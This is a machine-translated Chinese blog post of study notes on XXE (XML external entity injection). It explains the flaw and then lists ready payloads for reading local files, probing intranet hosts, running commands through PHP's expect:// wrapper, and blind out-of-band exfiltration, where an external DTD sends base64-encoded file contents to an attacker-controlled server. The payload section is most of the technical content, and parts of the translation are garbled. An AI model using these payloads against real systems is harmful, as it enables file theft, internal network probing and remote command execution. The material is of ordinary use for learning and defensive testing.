当前位置:网站首页>XxE & XML vulnerability
XxE & XML vulnerability
2022-07-27 08:11:00 【weixin_ fifty-three million one hundred and fifty thousand four】
List of articles
Weekly learning summary link
I remember there was a level before that was this loophole , But I forgot
One 、XXE Loophole
XXE Full name of loophole XML External Entity Injection namely xml External entity injection vulnerability ,XXE The vulnerability is in application parsing XML When the input , Loading of external entities is not prohibited , Causes a malicious external file to load , Cause file read 、 Command execution 、 Intranet port scan 、 Attack intranet sites 、 launch dos Attack, etc .xxe Vulnerability trigger point is often upload xml The location of the file , No upload of xml File filtering , Result in uploadable malicious xml file .
In practice, we may not know how to find this vulnerability , In fact, it's very simple. Just grab a packet and see if the data style is XML Grammar is fine
Two 、XML Learning from
There is really nothing to say about this , If you can't do this , I doubt your ability
3、 ... and 、DTD
When I studied development before , I haven't seen , Advice to see ,
The article links
Four 、 Attack ideas
Reading documents
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///d://test.txt"> ]> <x>&xxe;</x>Intranet probe or attack intranet application ( Trigger vulnerability address )
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" > ]> <x>&rabbit;</x>RCE The CASE It's installing expect Extended PHP Executing system commands in the environment
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://id" > ]> <x>&xxe;</x>Introducing external entities dtd
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd"> %file; ]> <x>&send;</x> evil2.dtd: <!ENTITY send SYSTEM "file:///d:/test.txt">No echo – Read the file
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt"> <!ENTITY % dtd SYSTEM "http:// long-range :8081/test.dtd"> %dtd; %send; ]>Create corresponding files on your own server , Make the target server access its own server , View information from logs
test.dtd:<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>" > %payload;agreement - Reading documents ( Bypass )
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]> <x>&f;</x>
summary
边栏推荐
- [applet] how to get wechat applet code upload key?
- Five day travels to Beijing
- Netdata 性能监测工具介绍、安装、使用
- 二零二零年终总结
- Ubuntu: install PostgreSQL
- 2020 International Machine Translation Competition: Volcano translation won five championships
- [ten thousand words long article] thoroughly understand load balancing, and have a technical interview with Alibaba Daniel
- Kalibr calibration realsensed435i -- multi camera calibration
- Bash: sudo: command not found in container
- The dragon lizard exhibition area plays a new trick this time. Let's see whose DNA moved?
猜你喜欢

Demo:st05 find text ID information

Prevent cookies from modifying ID to cheat login

Redis configuration file download

Can Linux install sqlserver

Leetcode54. Spiral matrix

Dasctf2022.07 enabling game password WP

Data extraction 1

Five day travels to Beijing

How to play with the purchase of SAP variant materials? Look at this article and you will understand

2020 International Machine Translation Competition: Volcano translation won five championships
随机推荐
Leetcode54. Spiral matrix
"PHP Basics" uses echo statements to output information
[resolved] SSO forwarding succeeded, and there was an unexpected error (type=internal server error, status=500) caused by parameters in the forwarding URL
Redison 3.17.5 release, officially recommended redis client
The third letter to the little sister of the test | Oracle stored procedure knowledge sharing and test instructions
信息化项目风险控制与应用
"Basic knowledge of PHP" implement mathematical operations in PHP
2020 International Machine Translation Competition: Volcano translation won five championships
End of year summary
软件调优方法有哪些?看看飞腾技术专家怎么说 | 龙蜥技术
What are the software tuning methods? Let's see what Feiteng technology experts say about dragon lizard technology
Usage scenarios for automated testing
Record a PG master-slave setup and data synchronization performance test process
An ordinary autumn recruitment experience
如何在 60 秒内去分析和定位问题?
C language: random number + Hill sort
On data security
[pytorch] resnet18, resnet20, resnet34, resnet50 network structure and Implementation
Netdata 性能监测工具介绍、安装、使用
The code interface is a little automated